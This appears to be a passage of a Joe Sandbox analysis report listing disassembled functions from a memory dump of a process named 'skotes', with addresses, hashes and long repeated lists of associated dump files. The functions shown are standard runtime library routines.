Opcode Fuzzy Hash: e2c475daf0af9f4085cc4813fdbb8aee624330328019633b9af9928516efa389
Instruction Fuzzy Hash: BB21D5756812059BCB48EF94C842AEEB7A7BF48300F14412DE505AB382DBB0AE45CB99

Function 00614EA2 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 74COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 00614F24
Concurrency::details::CacheLocalScheduleGroupSegment::CacheLocalScheduleGroupSegment.LIBCONCRT ref: 00614F66

Strings

ppVirtualProcessorRoots, xrefs: 00614F1C
count, xrefs: 00614EBA

Memory Dump Source

Source File: 00000006.00000002.3270359474.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000006.00000002.3270190766.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270359474.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270837424.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271004747.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271179648.0000000000665000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271343354.0000000000666000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271491378.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272327939.00000000007C6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272507422.00000000007C8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272699394.00000000007D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272885870.00000000007D7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007DA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007E1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273314771.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273481461.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273626631.00000000007F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273813739.00000000007F8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273953244.00000000007F9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274122226.00000000007FC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274219081.0000000000813000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274304249.0000000000814000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274426300.000000000081C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274517807.0000000000827000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274607199.000000000083D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274708377.0000000000840000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274795321.0000000000848000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274874543.000000000084A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274929352.0000000000853000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275008146.0000000000858000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275082050.0000000000860000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275131121.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275212425.000000000086E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275296985.0000000000875000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275381944.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275432230.0000000000880000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275486091.000000000088C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275561922.000000000088D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275607832.0000000000899000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.000000000089D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.00000000008BC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275823106.00000000008E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275903468.00000000008E9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275954058.00000000008EA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276032200.00000000008EE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276110523.00000000008F0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276189749.00000000008FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276236000.00000000008FF000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: CacheGroupLocalSchedule$Concurrency::details::SegmentSegment::std::invalid_argument::invalid_argument
String ID: count$ppVirtualProcessorRoots
API String ID: 2663199487-3650809737
Opcode ID: a7708ac2ebe0370c17b350b4aa5244d346c7f1756fe6d7aabd1c6d9f2013b282
Instruction ID: 25fca382e81d17493f3baa57a996a5b70241ba85e76461e56bd8d1f84a8ea964
Opcode Fuzzy Hash: a7708ac2ebe0370c17b350b4aa5244d346c7f1756fe6d7aabd1c6d9f2013b282
Instruction Fuzzy Hash: 8821BD34600615AFCB08EFA8C891EAE77B6BF48310F04416DE5069B691DF71AA42CB55

Function 0061B975 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 64COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 0061BA0E

Strings

RoUninitialize, xrefs: 0061B9C1
RoInitialize, xrefs: 0061B998
combase.dll, xrefs: 0061B983, 0061B988, 0061B99D, 0061B9C8

Memory Dump Source

Source File: 00000006.00000002.3270359474.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000006.00000002.3270190766.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270359474.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270837424.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271004747.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271179648.0000000000665000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271343354.0000000000666000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271491378.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272327939.00000000007C6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272507422.00000000007C8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272699394.00000000007D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272885870.00000000007D7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007DA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007E1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273314771.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273481461.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273626631.00000000007F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273813739.00000000007F8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273953244.00000000007F9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274122226.00000000007FC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274219081.0000000000813000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274304249.0000000000814000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274426300.000000000081C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274517807.0000000000827000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274607199.000000000083D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274708377.0000000000840000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274795321.0000000000848000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274874543.000000000084A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274929352.0000000000853000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275008146.0000000000858000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275082050.0000000000860000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275131121.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275212425.000000000086E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275296985.0000000000875000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275381944.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275432230.0000000000880000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275486091.000000000088C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275561922.000000000088D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275607832.0000000000899000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.000000000089D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.00000000008BC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275823106.00000000008E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275903468.00000000008E9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275954058.00000000008EA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276032200.00000000008EE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276110523.00000000008F0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276189749.00000000008FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276236000.00000000008FF000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error
String ID: RoInitialize$RoUninitialize$combase.dll
API String ID: 348560076-3997890769
Opcode ID: 7b4212f3683c1aacc4011d0d2b57333e239274f5ec6c7ef70df4338ed1e96284
Instruction ID: 02dc76aaadd8d0c47d88174677db05931f45a617e8d0a3c8c0655ac402f94d7e
Opcode Fuzzy Hash: 7b4212f3683c1aacc4011d0d2b57333e239274f5ec6c7ef70df4338ed1e96284
Instruction Fuzzy Hash: 5F012D71A923156DDB10F7B15C2DBEB359FDF02345F243829B440E6281EF79D48246B5

Function 00616E1C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 61COMMON

Download Yara Rule

APIs

SafeRWList.LIBCONCRT ref: 00616E73

Part of subcall function 00614E6E: Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 00614E7F
Part of subcall function 00614E6E: List.LIBCMT ref: 00614E89

std::invalid_argument::invalid_argument.LIBCONCRT ref: 00616E85
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 00616EAA

Strings

eventObject, xrefs: 00616E7D

Memory Dump Source

Source File: 00000006.00000002.3270359474.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000006.00000002.3270190766.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270359474.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270837424.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271004747.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271179648.0000000000665000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271343354.0000000000666000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271491378.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272327939.00000000007C6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272507422.00000000007C8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272699394.00000000007D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272885870.00000000007D7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007DA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007E1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273314771.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273481461.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273626631.00000000007F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273813739.00000000007F8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273953244.00000000007F9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274122226.00000000007FC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274219081.0000000000813000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274304249.0000000000814000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274426300.000000000081C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274517807.0000000000827000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274607199.000000000083D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274708377.0000000000840000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274795321.0000000000848000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274874543.000000000084A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274929352.0000000000853000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275008146.0000000000858000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275082050.0000000000860000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275131121.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275212425.000000000086E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275296985.0000000000875000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275381944.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275432230.0000000000880000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275486091.000000000088C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275561922.000000000088D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275607832.0000000000899000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.000000000089D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.00000000008BC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275823106.00000000008E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275903468.00000000008E9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275954058.00000000008EA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276032200.00000000008EE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276110523.00000000008F0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276189749.00000000008FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276236000.00000000008FF000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: List$AcquireConcurrency::details::_Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorLock::_ReaderSafeWriteWriterstd::invalid_argument::invalid_argument
String ID: eventObject
API String ID: 1288476792-1680012138
Opcode ID: 3ae5fee83cfdcd1ec0b2d80914ce19c988d8a20e61484e111b3ca98792d555d0
Instruction ID: 93a940e4ce88981f5075085ad24e7e8a76751422f4a9ff27cee770bf73f3c22b
Opcode Fuzzy Hash: 3ae5fee83cfdcd1ec0b2d80914ce19c988d8a20e61484e111b3ca98792d555d0
Instruction Fuzzy Hash: 2B11083A640214E7CB28FBA4DD4AFEF73B96F04714F244219F505A61C1EB709A84C6A9

Function 0061A0EE Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35threadCOMMON

Download Yara Rule

APIs

Concurrency::details::SchedulerProxy::GetCurrentThreadExecutionResource.LIBCMT ref: 0061A102
Concurrency::details::ResourceManager::RemoveExecutionResource.LIBCONCRT ref: 0061A126
std::invalid_argument::invalid_argument.LIBCONCRT ref: 0061A139

Strings

pScheduler, xrefs: 0061A131

Memory Dump Source

Source File: 00000006.00000002.3270359474.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000006.00000002.3270190766.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270359474.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270837424.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271004747.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271179648.0000000000665000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271343354.0000000000666000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271491378.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272327939.00000000007C6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272507422.00000000007C8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272699394.00000000007D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272885870.00000000007D7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007DA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007E1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273314771.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273481461.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273626631.00000000007F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273813739.00000000007F8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273953244.00000000007F9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274122226.00000000007FC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274219081.0000000000813000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274304249.0000000000814000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274426300.000000000081C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274517807.0000000000827000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274607199.000000000083D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274708377.0000000000840000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274795321.0000000000848000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274874543.000000000084A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274929352.0000000000853000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275008146.0000000000858000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275082050.0000000000860000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275131121.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275212425.000000000086E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275296985.0000000000875000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275381944.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275432230.0000000000880000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275486091.000000000088C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275561922.000000000088D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275607832.0000000000899000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.000000000089D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.00000000008BC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275823106.00000000008E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275903468.00000000008E9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275954058.00000000008EA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276032200.00000000008EE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276110523.00000000008F0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276189749.00000000008FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276236000.00000000008FF000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: Resource$Concurrency::details::Execution$CurrentManager::Proxy::RemoveSchedulerThreadstd::invalid_argument::invalid_argument
String ID: pScheduler
API String ID: 246774199-923244539
Opcode ID: 04ba490bb30f837cace645d4ce32aae015834880397c30d90c10b420b54d3cdb
Instruction ID: a910804b22d07dd8a20e23594c659306301023bc4d85923d353ed36dc0f44ed6
Opcode Fuzzy Hash: 04ba490bb30f837cace645d4ce32aae015834880397c30d90c10b420b54d3cdb
Instruction Fuzzy Hash: 16F0E936A00614F7C764FB94DC83CDEB37B9E90724B18812DE40657281DB71AA86C696

Function 006367A9 Relevance: 6.2, APIs: 4, Instructions: 245COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00636902
__alloca_probe_16.LIBCMT ref: 00636998
__freea.LIBCMT ref: 00636A03
__freea.LIBCMT ref: 00636A0F

Memory Dump Source

Source File: 00000006.00000002.3270359474.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000006.00000002.3270190766.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270359474.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270837424.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271004747.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271179648.0000000000665000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271343354.0000000000666000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271491378.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272327939.00000000007C6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272507422.00000000007C8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272699394.00000000007D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272885870.00000000007D7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007DA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007E1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273314771.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273481461.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273626631.00000000007F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273813739.00000000007F8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273953244.00000000007F9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274122226.00000000007FC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274219081.0000000000813000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274304249.0000000000814000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274426300.000000000081C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274517807.0000000000827000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274607199.000000000083D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274708377.0000000000840000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274795321.0000000000848000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274874543.000000000084A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274929352.0000000000853000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275008146.0000000000858000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275082050.0000000000860000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275131121.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275212425.000000000086E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275296985.0000000000875000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275381944.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275432230.0000000000880000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275486091.000000000088C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275561922.000000000088D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275607832.0000000000899000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.000000000089D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.00000000008BC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275823106.00000000008E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275903468.00000000008E9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275954058.00000000008EA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276032200.00000000008EE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276110523.00000000008F0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276189749.00000000008FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276236000.00000000008FF000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: __alloca_probe_16__freea
String ID:
API String ID: 1635606685-0
Opcode ID: 24d673b66a66276f5080a35aca0fc6f32a53eab12d73b3187e68684a6794cf0c
